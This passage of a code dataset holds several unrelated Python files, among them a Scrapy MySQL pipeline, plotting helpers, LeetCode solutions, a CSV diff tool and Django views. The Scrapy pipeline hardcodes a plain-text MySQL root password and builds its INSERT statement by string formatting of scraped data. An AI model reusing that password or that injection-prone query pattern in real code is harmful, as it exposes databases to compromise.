port=3306, user='root', passwd='Wangzhenya1998',\n db='mysql',charset='utf8') # 后面三个依次是数据库连接名、数据库密码、数据库名称\n #get cursor\n self.cursor = self.connect.cursor()\n print(\"连接数据库成功\")\n #self.dbpool = adbapi.ConnectionPool(\"MySQLdb\",\n #db=\"scrapy\", # 数据库名\n #user=\"root\", # 数据库用户名\n #passwd=\"Wangzhenya1998\", # 密码\n #cursorclass=MySQLdb.cursors.DictCursor,\n #charset=\"utf8\",\n #use_unicode=False\n # )\n\n\n\n def process_item(self, item, spider):\n # sql语句\n\n insert_sql = \"INSERT INTO doubanpachong(tk, coverurl, isplayable, id, ty, regions, title, movieurl, releasedate,ac, votecount,score,act,iswatched) VALUES('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')\" % \\\n (item['rank'], item['cover_url'], item['is_playable'], item['id'],\n item['types'], item['regions'], item['title'], item['movie_url'],\n item['release_date'], item['actor_count'], item['vote_count'],\n item['score'],item['actors'],item['is_watched'])\n\n # 执行插入数据到数据库操作\n # self.cursor.execute(insert_sql, (item['rank'], item['cover_url'], item['is_playable'], item['id'],\n #item['types'], item['regions'], item['title'], item['movie_url'],\n #item['release_date'], item['actor_count'], item['vote_count'],\n #item['score'],item['actors'],item['is_watched']))\n # 提交,不进行提交无法保存到数据库\n self.cursor.execute(insert_sql)\n self.connect.commit()\n return item\n def close_spider(self, spider):\n # 关闭游标和连接\n self.cursor.close()\n self.connect.close()\n\n\n\n'''\n #def process_item(self, item, spider):\n #query = self.dbpool.runInteraction(self._conditional_insert, item)\n #query.addErrback(self.handle_error)\n #return item\n\n #def _conditional_insert(self, tb, item):\n #tb.execute(\"insert into douban (rank, cover_url, is_playable, id, types, regions, title, movie_url, release_date,\\\n #actor_count, vote_count,score,actors,is_watched) values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\", \\\n #(item['rank'], item['cover_url'], item['is_playable'], item['id'], \\\n #item['types'], item['regions'], item['title'], item['movie_url'], \\\n # item['release_date'], item['actor_count'], item['vote_count'],\n # item['score'],item['actors'],item['is_watched']))\n #self.dbpool.commit()\n #def close_spider(self,spider):\n # self.\n #log.msg(\"Item data in db: %s\" % item, level=log.DEBUG)\n\n #def handle_error(self, e):\n #log.err(e)\n #def get_media_requests(self, item, spider):\n #for image_url in item['cover_url']:\n #self.download_img(image_url)\n #return item\n'''\n\n\n\n\n","sub_path":"padouban/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":5198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"212814443","text":"def vis_image(img, ax=None):\n\n from matplotlib import pyplot as plot\n import numpy as np\n\n if ax is None:\n fig = plot.figure(figsize=(10,10))\n ax = fig.add_subplot(1, 1, 1)\n if img is not None:\n img = img\n ax.imshow(img.astype(np.uint8))\n return ax\n\ndef vis_bbox(img, bbox, label=None, score=None, label_names=None,\n instance_colors=None, alpha=1., linewidth=2.,\n sort_by_score=True, ax=None):\n\n from matplotlib import pyplot as plt\n import numpy as np\n\n if label is not None and not len(bbox) == len(label):\n raise ValueError('The length of label must be same as that of bbox')\n if score is not None and not len(bbox) == len(score):\n raise ValueError('The length of score must be same as that of bbox')\n\n if sort_by_score and score is not None:\n order = np.argsort(score)\n bbox = bbox[order]\n score = score[order]\n if label is not None:\n label = label[order]\n\n # Returns newly instantiated matplotlib.axes.Axes object if ax is None\n ax = vis_image(img, ax=ax)\n \n # If there is no bounding box to display, visualize the image and exit.\n if len(bbox) == 0:\n return ax\n\n if instance_colors is None:\n # Red\n instance_colors = np.zeros((len(bbox), 3), dtype=np.float32)\n instance_colors[:, 0] = 255\n instance_colors = np.array(instance_colors)\n\n for i, bb in enumerate(bbox):\n xy = (bb[1], bb[0])\n height = bb[2] - bb[0]\n width = bb[3] - bb[1]\n color = instance_colors[i % len(instance_colors)] / 255\n ax.add_patch(plt.Rectangle(\n xy, width, height, fill=False,\n edgecolor=color, linewidth=linewidth, alpha=alpha))\n\n caption = []\n \n if label is not None and label_names is not None:\n lb = label[i]\n if not (0 <= lb < len(label_names)):\n raise ValueError('No corresponding name is given')\n caption.append(label_names[lb])\n if score is not None:\n sc = score[i]\n caption.append('{:.2f}'.format(sc))\n\n if len(caption) > 0:\n ax.text(bb[1], bb[0],\n ': '.join(caption),\n style='italic',\n bbox={'facecolor': 'white', 'alpha': 0.7, 'pad': 10})\n return ax\n\ndef h2rgb(h):\n import numpy as np\n\n c = 255\n s = 255\n h_ = h/60\n v = s\n x = c * (1 - np.abs( h_ % 2 - 1))\n vals = [[c,x,0], [x,c,0], [0,c,x],[0,x,c], [x,0,c], [c,0,x]]\n ind = np.where((np.arange(6)==h//60))\n r,g,b = np.ones(3)*(v-c) + vals[ind[0][0]]\n return r,g,b\n\n\ndef vis_mask(img,mask,beta=0.5):\n import numpy as np\n import cv2\n \n rows,cols = mask.shape\n mask_color = np.zeros([rows,cols,3])\n categories = np.unique(mask)\n h_list = np.arange(0,360,360/(categories.shape[0]-1)).astype(\"int\")\n\n for i,h in enumerate(h_list):\n i+=1\n r,g,b = h2rgb(h)\n mask_color[mask==categories[i],0] = r\n mask_color[mask==categories[i],1] = g\n mask_color[mask==categories[i],2] = b\n\n mask_color = mask_color.astype('uint8')\n blended = cv2.addWeighted(src1=img ,alpha=1, src2=mask_color ,beta=beta, gamma=0)\n \n return blended\n\ndef save_gif(imgs,out_dir,fps=1):\n import matplotlib.pyplot as plt\n import matplotlib.animation as animation\n\n ratio = imgs[0].shape[0]/imgs[0].shape[1]\n size = (10,10*ratio)\n\n fig,ax = plt.subplots(figsize = size)\n plt.subplots_adjust(left=0, right=1, bottom=0, top=1)\n\n plt.tick_params(labelbottom=False,\n labelleft=False,\n labelright=False,\n labeltop=False)\n plt.tick_params(bottom=False,\n left=False,\n right=False,\n top=False)\n\n ims = []\n for img in imgs:\n im = ax.imshow(img, interpolation=\"spline36\")\n ims.append([im])\n \n ani = animation.ArtistAnimation(fig, ims, interval=300, repeat_delay=100) \n w = animation.PillowWriter(fps=fps)\n ani.save(out_dir,writer=w)\n plt.close()","sub_path":"satimagery/vis.py","file_name":"vis.py","file_ext":"py","file_size_in_byte":4136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"414745123","text":"# https://leetcode.com/problems/merge-sorted-array/\n\nclass Solution:\n def merge(self, nums1: List[int], m: int, nums2: List[int], n: int) -> None:\n last = m + n - 1 # last index\n m -= 1\n n -= 1\n \n if(m == -1):\n nums1[0:n+1] = nums2\n \n while(m >= 0 and n >= 0):\n if nums1[m] >= nums2[n]:\n nums1[last] = nums1[m]\n m -= 1\n last -= 1\n else:\n nums1[last] = nums2[n]\n n -= 1\n last -= 1\n # if list2 finishes then we reach answer\n # if list 1 finishes before list 2 then append all item of list2 before list1\n if m == -1:\n nums1[:n+1] = nums2[:n+1]\n \n","sub_path":"LeetCode/Array/88. Merge Sorted Array.py","file_name":"88. Merge Sorted Array.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"322977163","text":"def fibonacci(num):\n a=0\n b=1\n print(a,b, end=' ')\n for i in range(1,num-2):\n c=a+b\n a=b\n b=c\n print(b, end=' ')\nnum=int(input(\"enter length of sequence: \"))\nfibonacci(num)\n\n","sub_path":"func_fibonacci.py","file_name":"func_fibonacci.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"553743941","text":"# env /bin/python\n# Denis Kotsur\nimport turtle\nimport math\nt = turtle.Turtle()\nws = turtle.Screen()\n\n\ndef main_triangle(x1, y1, N): # Draw main triangle\n h = 200\n d = h*math.sqrt(4/3)\n x2 = d + x1\n y2 = 0 + y1\n x3 = d/2 + x1\n y3 = h + y1\n t.pu()\n t.goto(x1, y1)\n t.pd()\n t.goto(x2, y2)\n t.goto(x3, y3)\n t.goto(x1, y1)\n x1 = d/2 + x1\n inner_triangle(x1, y1, h/2, N-1)\n turtle.exitonclick()\n\n\ndef inner_triangle(x1, y1, h, N): # Draw inner triangles\n if N < 1:\n return\n h1 = h/2\n d = h*math.sqrt(4/3)\n x2 = x1 - d/2\n y2 = y1 + h\n x3 = x1 + d/2\n y3 = y1 + h\n t.pu()\n t.goto(x1, y1)\n t.pd()\n t.goto(x2, y2)\n t.goto(x3, y3)\n t.goto(x1, y1)\n inner_triangle(x1, y2, h1, N-1) # Draw top triangles\n inner_triangle(x2, y1, h1, N-1) # Draw left triangles\n inner_triangle(x3, y1, h1, N-1) # Draw right triangles\n\n\ndef main():\n main_triangle(200, 100, 6)\nif __name__ == '__main__':\n main()\n","sub_path":"second/sierpinsky/myserp.py","file_name":"myserp.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"392510017","text":"#!/usr/bin/env python\n__author__ = \"Simon Padberg\"\n\nimport argparse\nimport csv\nimport socket\nimport os.path\nfrom pathlib import Path\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n\ndef url_check(url):\n \"\"\" Validates a url (True) or file (False) \"\"\"\n try:\n r = requests.get(str(url))\n url_available = r.status_code == 200\n if url_available:\n # Website found\n return True\n else:\n print(\"URL \\\"{}\\\" is not available!\".format(url))\n except requests.exceptions.MissingSchema:\n # Pretending that this is a file\n return False\n except requests.exceptions.RequestException as e:\n print(\"{}: {}\".format(type(e).__name__, url))\n exit()\n\n\ndef ipv4_check(addr):\n \"\"\" Ipv4-Address validation \"\"\"\n try:\n socket.inet_pton(socket.AF_INET, addr)\n except AttributeError:\n try:\n socket.inet_aton(addr)\n except socket.error:\n return False\n return addr.count('.') == 3\n except socket.error:\n return False\n return True\n\n\ndef ipv6_check(addr):\n \"\"\" Ipv6-Address validation \"\"\"\n try:\n socket.inet_pton(socket.AF_INET6, addr)\n except socket.error:\n return False\n return True\n\n\ndef append2map(d, duplicates, col, ip_pos, desc_pos):\n # Only append with values\n if len(col) > 0:\n # Create empty entry for hashmap\n if len(col) == 1:\n if col[0]:\n col = [col[0], \"\"]\n else:\n # No value in list\n return\n # Search for new unique entry\n if col[ip_pos] not in d:\n d[col[ip_pos]] = col[desc_pos]\n else:\n # Found a duplicate\n duplicates[col[ip_pos]] = col[desc_pos]\n\n\ndef web_crawl(url):\n \"\"\" Searching for a html-table and\n returns a map with the (ip) data\n Warning: Only works 100% with a custom Briteline Website \"\"\"\n html = requests.get(url).text\n soup = BeautifulSoup(html, 'html.parser')\n rows = soup.find('table').find_all('tr')\n print(\"Found website: {}\".format(url))\n\n d = {}\n duplicates = {}\n # Default values\n ip_pos = 0\n desc_pos = 1\n ip_found = False\n for row in rows:\n col = row.find_all('td')\n col = [item.text.strip() for item in col]\n # searching for the first ip-address\n if args.ip_mode and not ip_found:\n for i in range(len(col)):\n if ipv4_check(col[i]) or ipv6_check(col[i]):\n print(\" - Found IP-Address\")\n ip_pos = i\n desc_pos = int(i == 0)\n ip_found = True\n break\n append2map(d, duplicates, col, ip_pos, desc_pos)\n return d, duplicates\n\n\ndef csv2map(csv_file):\n \"\"\" Creates new hashmap from \"csv\"file.\n Also finds ip position and store it as a key (ip --> description),\n when ip_mode is activated (-ip) \"\"\"\n d = {}\n duplicates = {}\n try:\n with open(csv_file, 'r', encoding='latin1') as f:\n print(\"Found file: {}\".format(csv_file))\n data = f.readlines()\n first_row = data[0].strip().split(args.delimiter)\n\n # Default values\n ip_pos = 0\n desc_pos = 1\n\n if args.ip_mode:\n # searching for the first ip-address\n for i in range(len(first_row)):\n # Starts with second index\n if ipv4_check(first_row[i]) or ipv6_check(first_row[i]):\n print(\" - Found IP-Address\")\n ip_pos = i\n desc_pos = int(i == 0)\n break\n\n for line in data:\n col = line.strip().split(args.delimiter)\n append2map(d, duplicates, col, ip_pos, desc_pos)\n except (FileNotFoundError, FileExistsError):\n print(\"Could't find: {}\".format(csv_file))\n return d, duplicates\n\n\ndef get_filename(file_path):\n \"\"\" Extracts the name from the file path \"\"\"\n return os.path.basename(file_path).split('.')[0]\n\n\ndef get_url_name(url):\n \"\"\" Extracts the site-name from a url \"\"\"\n url_name = url.split('://')[-1]\n url_name = url_name.split('/')[-1]\n return url_name.split('.')[0]\n\n\ndef write_csv(writer, missing_map, name, duplicates={}):\n if len(missing_map) > 0:\n writer.writerow(['--Missing-- in ' + name + ' file:'])\n for key in missing_map:\n if missing_map[key]:\n writer.writerow([key] + [missing_map[key]])\n else:\n writer.writerow([key])\n writer.writerow(['----------------------'])\n if len(duplicates):\n writer.writerow(['--Duplicates-- in ' + name + ' file:'])\n for key in duplicates:\n if duplicates[key]:\n writer.writerow([key] + [duplicates[key]])\n else:\n writer.writerow([key])\n writer.writerow(['----------------------'])\n\n\ndef split_ip(ip_map):\n \"\"\"Split a (found) IP address into a 4-tuple\"\"\"\n ip = ip_map[0]\n if ipv4_check(ip):\n return tuple(int(item) for item in ip.split('.'))\n elif ipv6_check(ip):\n return tuple(int(item) for item in ip.split(':'))\n else:\n # Found no ip, return 0 == sort to top\n return 0, 0\n\n\ndef sort_ip_map(ip_map):\n \"\"\" :param ip_map: dictionary\n :rtype: sorted dictionary\"\"\"\n return dict(sorted(ip_map.items(), key=split_ip)) if len(ip_map) > 1 else ip_map\n\n\ndef create_csv(map1, map2, filename, output, duplicates1={}, duplicates2={}):\n \"\"\" Creates a new CSV file with all missing information \"\"\"\n filename = \"diff_{}.csv\".format(filename)\n file_path = Path(output) / filename\n print(\"Found differences!\\nCreating diff file...\")\n with open(str(file_path), 'w', newline='') as outfile:\n csv_writer = csv.writer(outfile, delimiter=args.delimiter,\n quotechar='|', quoting=csv.QUOTE_MINIMAL)\n\n write_csv(csv_writer, sort_ip_map(map1), \"first\", sort_ip_map(duplicates1))\n write_csv(csv_writer, sort_ip_map(map2), \"second\", sort_ip_map(duplicates2))\n print(\"Successful created: {}\".format(file_path))\n return None\n\n\ndef compare_maps(source, target):\n \"\"\" Checks if target map items are not in source \"\"\"\n d = {}\n for key in target:\n if key not in source:\n d[key] = target[key]\n return d\n\n\ndef main(map1, map2, filename=\"diff\", duplicates1={}, duplicates2={}):\n \"\"\" Compares two maps and stores the results into a csv file\n :param map1: dictionary\n :param map2: dictionary\n :param filename: string\n :param duplicates1: [dictionary]\n :param duplicates2: [dictionary]\n :rtype: bool \"\"\"\n\n if len(map1) > 0 and len(map2) > 0:\n # Compares each file and store the difference\n print(\"\\nComparing data...\\n\")\n missing_first = compare_maps(map1, map2)\n missing_second = compare_maps(map2, map1)\n\n # Verify missing or duplicate data\n if len(missing_first) + len(missing_second) + len(duplicates1) + len(duplicates2) > 0:\n # Create the new csv with the diff and/or duplicate data\n create_csv(missing_first, missing_second, filename, args.output, duplicates1, duplicates2)\n else:\n print(\"No differences or duplicates found.\")\n return False\n else:\n print(\"Error, could't read valid data.\\n - Please recheck the submitted files/urls.\")\n return False\n return True\n\n\ndef parse_arguments():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"file1\",\n help=\"add first file or url for comparing\")\n parser.add_argument(\"file2\",\n help=\"add second file or url for comparing\")\n parser.add_argument('-o', '--output', default='./',\n help='Enter a custom output file-path')\n parser.add_argument(\"-noip\", \"--no_ip_address\", action=\"store_false\", dest=\"ip_mode\", default=True,\n help=\"deactivates automatic ip-addresses finding and comparing\")\n parser.add_argument('-d', '--delimiter', default=\";\",\n help='custom delimiter for csv input and output, default:\";\"')\n\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n args = parse_arguments()\n f1 = args.file1\n f2 = args.file2\n\n # Unpack data from web or csv data\n f1_data, f1_dup = web_crawl(f1) if url_check(f1) else csv2map(f1)\n f2_data, f2_dup = web_crawl(f2) if url_check(f2) else csv2map(f2)\n f1_name = get_url_name(f1) if url_check(f1) else get_filename(f1)\n\n main(f1_data, f2_data, f1_name, f1_dup, f2_dup)\n","sub_path":"tools/csv_diff.py","file_name":"csv_diff.py","file_ext":"py","file_size_in_byte":8728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"372692488","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nif __name__ == '__main__':\n import sys\n import lrcutility\n\n default_encoding = 'utf-8'\n if sys.getdefaultencoding() != default_encoding:\n reload(sys)\n sys.setdefaultencoding(default_encoding)\n\n with open(sys.argv[1]) as file1:\n offset=float(sys.argv[2])*1000\n lrc=file1.read()\n lrc_dict = lrcutility.lrc_parser(lrc)\n\n\n body = {}\n\n for (key, value) in sorted(lrc_dict['body'].iteritems()):\n body[key-offset] = value.strip()\n\n off_lrc_dict = dict(head=lrc_dict['head'],body=body)\n\n print(lrcutility.lrc_wrapper(off_lrc_dict))\n","sub_path":"lrc_hard_offset.py","file_name":"lrc_hard_offset.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"565193910","text":"class Solution:\n def reorderList(self, head: ListNode) -> None:\n if not head:\n return\n slow=fast=head\n while fast and fast.next:\n slow=slow.next\n fast=fast.next.next\n prev=None\n curr=slow\n while curr:\n curr.next, prev, curr = prev, curr, curr.next \n first=head\n second=prev\n while second.next:\n first.next,first=second,first.next\n second.next, second = first, second.next\n\n#Time-Complexity: O(N)\n#Space-complexity: O(1)","sub_path":"reorder list.py","file_name":"reorder list.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"406675273","text":"from django.http.response import HttpResponse, JsonResponse\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.shortcuts import render\nfrom django.views import View\n\nfrom product.models import Comment, Product, ProductCate, ProductImage\n# Create your views here.\n\nclass ProductPage(View):\n\n def get(self,request):\n product_cates = ProductCate.objects.all()\n product_list = Product.objects.all()\n \n page_number = request.GET.get(\"page\")\n \n if request.GET.get(\"product_name\"):\n try:\n name=request.GET.get(\"product_name\")\n product_list = Product.objects.filter(name__contains=name)\n except Product.DoesNotExist:\n product_list = None\n \n paginator = Paginator(product_list, 6)\n \n try:\n products = paginator.page(page_number)\n except PageNotAnInteger:\n # Nếu page_number không thuộc kiểu integer, trả về page đầu tiên\n products = paginator.page(1)\n except EmptyPage:\n # Nếu page không có item nào, trả về page cuối cùng\n products = paginator.page(paginator.num_pages)\n\n \n context = {\"product_cates\" : product_cates,\"products\":products}\n return render(request,'products.html',context)\n\nclass ProductCatePage(View):\n\n def get(self,request,id):\n product_list = Product.objects.filter(category = id)\n product_cates = ProductCate.objects.all()\n category = ProductCate.objects.get(pk=id)\n \n \n page_number = request.GET.get(\"page\")\n if request.GET.get(\"product_name\"):\n try:\n name=request.GET.get(\"product_name\")\n product_list = Product.objects.filter(category = id,name__contains=name)\n except Product.DoesNotExist:\n product_list = None\n \n paginator = Paginator(product_list, 6)\n \n try:\n products = paginator.page(page_number)\n except PageNotAnInteger:\n # Nếu page_number không thuộc kiểu integer, trả về page đầu tiên\n products = paginator.page(1)\n except EmptyPage:\n # Nếu page không có item nào, trả về page cuối cùng\n products = paginator.page(paginator.num_pages)\n\n \n context = {\"product_cates\" : product_cates,\"products\":products,\"category\":category}\n return render(request,'product_cate.html',context)\n\nclass ProductDetail(View):\n\n def get(self,request,id):\n product = Product.objects.get(pk=id)\n # products = Product.objects.all()\n related_products = Product.objects.filter(category = product.category)\n images = ProductImage.objects.filter(product = product)\n comments = Comment.objects.filter(product = product).order_by('-id')\n context = {\"product\" : product,\"related_products\" : related_products,\"images\" : images,\"comments\" : comments}\n return render(request,'product-detail.html',context)\n\n\ndef addComment(request):\n \n vote = request.GET.get('vote')\n name = request.GET.get('name')\n title = request.GET.get('title')\n content = request.GET.get('content')\n product_id = request.GET.get('product_id')\n \n product = Product.objects.get(pk=product_id)\n \n comment = Comment.objects.create(product=product,name=name,vote=vote,title=title,content=content)\n comment.save()\n \n return JsonResponse({\"success\":\"thành công\", \"created_at\":comment.date})","sub_path":"product/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"588625143","text":"# -*- coding: utf-8 -*-\r\n\r\n'''\r\n Javier Romero Blanco\r\n javi.azuaga@gmail.com\r\n http://barrabarra.es\r\n ©2010\r\n'''\r\n\r\n\r\nfrom django import template\r\nimport locale\r\n\r\nregister = template.Library()\r\n\r\n@register.filter(name='currency')\r\ndef currency(value):\r\n try:\r\n locale.setlocale(locale.LC_ALL,'es_ES.UTF-8')\r\n except:\r\n locale.setlocale(locale.LC_ALL,'')\r\n loc = locale.localeconv()\r\n #loc['p_cs_precedes'] = 0\r\n #loc['n_cs_precedes'] = 0\r\n return locale.currency(value, loc['currency_symbol'], grouping=True)\r\n\r\n@register.filter\r\ndef truncatesmart(value, limit=80):\r\n \"\"\"\r\n Truncates a string after a given number of chars keeping whole words.\r\n \r\n Usage:\r\n {{ string|truncatesmart }}\r\n {{ string|truncatesmart:50 }}\r\n \"\"\"\r\n \r\n try:\r\n limit = int(limit)\r\n # invalid literal for int()\r\n except ValueError:\r\n # Fail silently.\r\n return value\r\n \r\n # Make sure it's unicode\r\n value = unicode(value)\r\n \r\n # Return the string itself if length is smaller or equal to the limit\r\n if len(value) <= limit:\r\n return value\r\n \r\n # Cut the string\r\n value = value[:limit]\r\n \r\n # Break into words and remove the last\r\n words = value.split(' ')[:-1]\r\n \r\n # Join the words and return\r\n return ' '.join(words) + '...'","sub_path":"apps/catalog/templatetags/catalog_filters.py","file_name":"catalog_filters.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"526216386","text":"# ~license~\n#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nfrom appy.ui import Language\nfrom appy.ui.layout import ColumnLayout\nfrom appy.model.utils import Object as O\n\n#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nclass ColSet:\n '''Represents a named set of columns to show when displaying Search results\n or tied objects from a Ref.'''\n FIELD_NOT_FOUND = 'field \"%s\", used in a column specifier, not found.'\n\n # Standard column specifiers\n standardColSpecs = O(\n number = O(special=True, field='_number', width='15px',\n align='left', header=False),\n checkboxes = O(special=True, field='_checkboxes', width='10px',\n align='center', header=True)\n )\n\n @staticmethod\n def getColSpecs(class_, columnLayouts, dir,\n addNumber=False, addCheckboxes=False):\n '''Extracts and returns, from a list of p_columnLayouts, info required\n for displaying columns of field values for instances of p_class_,\n either in a result screen or for a Ref field.\n '''\n # p_columnLayouts are specified for each field whose values must be\n # shown. 2 more, not-field-related, column layouts can be specified with\n # these names:\n # ----------------------------------------------------------------------\n # \"_number\" | if the listed objects must be numbered by Appy, this\n # | string represents the column containing that number;\n # ----------------------------------------------------------------------\n # \"_checkboxes\" | if Appy must show checkboxes for the listed objects,\n # | this string represents the column containing the\n # | checkboxes.\n # ----------------------------------------------------------------------\n # If columns \"_number\" and \"_checkboxes\" are not among p_columnLayouts\n # but are required (by p_addNumber and p_addCheckboxes), they are added\n # to the result. Specifying them within p_columnLayouts allows to give\n # them a precise position among all columns. When automatically added,\n # they will appear before any other column (which is desirable in most\n # cases).\n r = []\n numberFound = checkboxesFound = False\n for info in columnLayouts:\n name, width, align, header = ColumnLayout(info).get()\n # It that a special column name ?\n special = True\n if name == '_number': numberFound = True\n elif name == '_checkboxes': checkboxesFound = True\n else: special = False\n align = Language.flip(align, dir)\n # For non-special columns, get the corresponding field\n if not special:\n field = class_.fields.get(name)\n if not field:\n self.log(ColSet.FIELD_NOT_FOUND % name, type='warning')\n continue\n else:\n # Let the column name in attribute \"field\"\n field = name\n r.append(O(special=special, field=field, width=width,\n align=align, header=header))\n # Add special columns if required and not present\n if addCheckboxes and not checkboxesFound:\n r.insert(0, ColSet.standardColSpecs.checkboxes)\n if addNumber and not numberFound:\n r.insert(0, ColSet.standardColSpecs.number)\n return r\n\n def __init__(self, identifier, label, columns, specs=False):\n # A short identifier for the set\n self.identifier = identifier\n # The i18n label to use for giving a human-readable name to the set\n self.label = label\n # The list/tuple of columns, expressed as strings. Every string must\n # contain a field name, but can be completed (after a char *) by column\n # width and alignment, as in \"state*100px|\". The \"width\" part, just\n # after the *, can hold anything that can be set in a \"width\" HTML\n # attribute. The last char represents the alignment:\n # \";\" left-aligned (the default);\n # \"|\" centered;\n # \"!\" right-aligned.\n if not specs:\n self.columns = columns\n else:\n # \"specs\" is the internal representation of \"columns\". Do not\n # specify \"specs=True\". It will contain a list of Object instances\n # instead of strings. Every such instance has splitted string info\n # into fields \"field\", \"width\" and \"align\".\n self.specs = columns\n#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n","sub_path":"appy/model/fields/colset.py","file_name":"colset.py","file_ext":"py","file_size_in_byte":4744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"356964004","text":"from http import HTTPStatus\n\nimport requests\n\nfrom flags import save_flag\n\n\ndef get_flag(base_url, cc):\n url = '{}/{cc}/{cc}.gif'.format(base_url, cc=cc.lower())\n resp = requests.get(url)\n if resp.status_code != 200:\n resp.raise_for_status()\n return resp.content\n\ndef download_one(cc, base_url, verbose=False):\n try:\n image = get_flag(base_url, cc)\n except requests.exceptions.HTTPError as exc:\n res = exc.response\n if res.status_code == 404:\n status = HTTPStatus.not_found\n msg = 'not found'\n else:\n raise\n else:\n save_flag(image, cc.lower() + '.gif')\n status = HTTPStatus.ok\n msg = 'OK'\n if verbose:\n print(cc, msg)\n return Result(status, cc)","sub_path":"chatper_17/flags2.py","file_name":"flags2.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"484050647","text":"#!/usr/bin/env python3\n# ndpwatch - poll ARP & ND caches and store to database\n# (c) 2016 Mantas Mikulėnas \n# Released under the MIT License (dist/LICENSE.mit)\nfrom nullroute.core import *\nimport sqlalchemy as δ\n\nconfig = Env.find_config_file(\"ndpwatch.conf\")\ndb_url = None\n\nwith open(config, \"r\") as f:\n for line in f:\n if line.startswith(\"#\"):\n continue\n k, v = line.strip().split(\" = \", 1)\n if k == \"db\":\n db_url = v\n\nif not db_url:\n Core.die(\"database URL not configured\")\n\nδEngine = δ.create_engine(db_url)\nδConn = δEngine.connect()\n\nst = δ.sql.text(\"\"\"\n SELECT ip_addr, mac_addr FROM arplog\n WHERE mac_addr != LOWER(mac_addr)\n \"\"\")\nr = δConn.execute(st)\nfor ip, mac in r:\n mac = mac.lower()\n print(mac, \"--\", ip)\n\n oldest_id = 0\n first_seen = 0\n last_seen = 0\n\n st = δ.sql.text(\"\"\"\n SELECT id, mac_addr, first_seen, last_seen FROM arplog\n WHERE ip_addr = :ip\n AND LOWER(mac_addr) = :mac\n \"\"\")\n r = δConn.execute(st.bindparams(ip=ip, mac=mac))\n r = [*r]\n print(\" - found\", len(r), \"entries\")\n for e_id, e_mac, e_first, e_last in r:\n print(\" |\", e_id, e_mac)\n if e_id < oldest_id or oldest_id == 0:\n oldest_id = e_id\n if e_first < first_seen or first_seen == 0:\n first_seen = e_first\n if e_last > last_seen or last_seen == 0:\n last_seen = e_last\n\n print(\" - deleting remaining rows with {mac}\".format(**locals()), end=\"\")\n st = δ.sql.text(\"\"\"\n DELETE FROM arplog\n WHERE ip_addr = :ip AND LOWER(mac_addr) = :mac AND id != :id\n \"\"\")\n r = δConn.execute(st.bindparams(id=oldest_id, ip=ip, mac=mac))\n print(\" =>\", r.rowcount, \"rows deleted\")\n\n print(\" - updating id {oldest_id} with {first_seen}…{last_seen}\".format(**locals()), end=\"\")\n st = δ.sql.text(\"\"\"\n UPDATE arplog\n SET mac_addr = :mac, first_seen = :first, last_seen = :last\n WHERE ip_addr = :ip AND LOWER(mac_addr) = :mac AND id = :id\n \"\"\")\n r = δConn.execute(st.bindparams(id=oldest_id, ip=ip, mac=mac, first=first_seen, last=last_seen))\n print(\" =>\", r.rowcount, \"rows updated\")\n","sub_path":"net/ndpwatch-fix-uppercase-macs.py","file_name":"ndpwatch-fix-uppercase-macs.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"257425109","text":"import sounddevice as sd\nimport numpy as np\nimport math \nimport matplotlib.pyplot as plt\nimport soundfile as sf\nfrom scipy import signal as sg\n\nclass Receptor():\n def __init__(self):\n self.fs = 44100.0\n self.fc = 3500\n\n def record(self):\n audio = sd.rec(int(5 * self.fs),self.fs,channels=1)\n sd.wait()\n y = audio[:,0]\n return y\n\n def carFrequencies(self, signal, f):\n t = np.linspace(0,len(signal)/self.fs,len(signal))\n y = np.sin(math.pi*2*t*f)\n return t,y\n\n def calcFFT(self, signal):\n from scipy.fftpack import fft\n from scipy import signal as window\n\n N = len(signal)\n T = 1/self.fs\n xf = np.linspace(0.0, 1.0/(2.0*T), N//2)\n yf = fft(signal)\n\n return(xf, np.abs(yf[0:N//2]))\n\n def LPF(self, signal, cutoff_hz, fs):\n #####################\n # Filtro\n #####################\n # https://scipy.github.io/old-wiki/pages/Cookbook/FIRFilter.html\n nyq_rate = fs/2\n width = 5.0/nyq_rate\n ripple_db = 60.0 #dB\n N , beta = sg.kaiserord(ripple_db, width)\n taps = sg.firwin(N, cutoff_hz/nyq_rate, 